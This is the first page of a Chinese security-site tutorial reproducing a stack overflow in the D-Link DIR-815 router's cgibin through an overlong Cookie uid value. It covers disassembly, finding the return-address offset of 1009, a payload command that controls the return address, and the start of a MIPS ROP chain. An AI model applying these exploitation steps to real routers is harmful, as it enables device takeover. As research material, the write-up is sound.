欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析

来源:本站整理 作者:佚名 时间:2019-05-30 TAG: 我要投稿

这次笔者来复现一个比较经典的栈溢出漏洞:D-link dir-815 栈溢出。其实这个路由器的栈溢出漏洞的利用方式和之前 DVRF 靶机平台的栈溢出例子大同小异,只是需要注意下一些小的地方。
前言
这个栈溢出的原因是由于 cookie 的值过长导致的栈溢出。服务端取得客户端请求的 HTTP 头中 Cookie 字段中 uid 的值,格式化到栈上导致溢出。
漏洞分析
大体流程
首先还是先将 cgibin 加载到 IDA 中,定位到 sobj_get_string 函数。
在 sobj_get_string 函数中,取得 “uid=” 后的值

sprintf($sp, 0x4E8+var_428,”%s/%s/postxml”,”/runtime/session”,getenv(“HTTP_COOKIE”))
在执行完 sprintf 函数后,在栈上已经产生了溢出

将0x76FEE8CC 地址处的值赋值给 ra 寄存器

在 jr $ra 时就触发了栈溢出

但是在真实的路由器环境中存在 /var/tmp/temp.xml 的文件,所以真正的可利用的栈溢出是位于 0x0040997C 处的 sprintf 函数

最后在执行完函数之后,还是会触发这个栈溢出

漏洞利用
这里还是使用 patternLocOffset.py 来生成一个填充文件
python patternLocOffset.py -c -l 1600 -f dir_815_overflow
但是注意在 string 的前面需要加上 “uid=”,因为这里会执行 sobj_get_string(“uid=”) 函数,来取到参数 uid 的值,如果没有 uid 参数的话程序会直接结束

同样执行 run.sh 脚本来动态调试
sudo ./run.sh “uid=1234” `cat dir_815_overflow` -d
在 0x00409A28 处下断点。这里 ra 的值是 0x68423668,在 patternLocOffset.py 中确定偏移

这里偏移是 1009
nick@nick-machine:~/iot/tools$ python patternLocOffset.py -s 0x68423668 -l 1600
[*] Create pattern string contains 1600 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 1009 (adjusted another-endian)
[+] take time: 0.0301 s
所以我们构造
nick@nick-machine:~/iot/firmware/dir-815/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ python -c "print 'uid='+'a'*1009+'x78x56x34x12'" > payload
nick@nick-machine:~/iot/firmware/dir-815/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ sudo ./run.sh "uid=1234" `cat payload` -d
这里就成功控制了返回地址

ROP 链的构造
关于 ROP 链的构造可以参考笔者的前几篇文章:
传送门:https://www.anquanke.com/post/id/172126
https://www.anquanke.com/post/id/173362
图片显示不出来的话可以挂个梯子。
同样的我们把 ROP 的构造分为两块:调用 sleep(1) 函数和调用 shellcode
获取基本信息
这里在本地使用 gdb-mul 工具,命令target remote :23946 连接上 gdbserver 之后,在 0x00409A28 出下断,使用 vmmap 查看区段的映射情况,找到 libc 的基地址 0x76738000

之后找到 libc 文件,把他加载到 IDA 中。

调用 sleep(1) 函数
这里为了更好展示和理解,画了一幅流程图,看确定在使用 mipsrop 工具下,各个 ROP 的调用顺序

找到 sleep 函数的参数
先使用 “li $a0,1” 来寻找 rop,在 0x00057E50 处发现一条合适的指令。这里的 s1 寄存器设置成下一条 gadget 的地址。

[1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载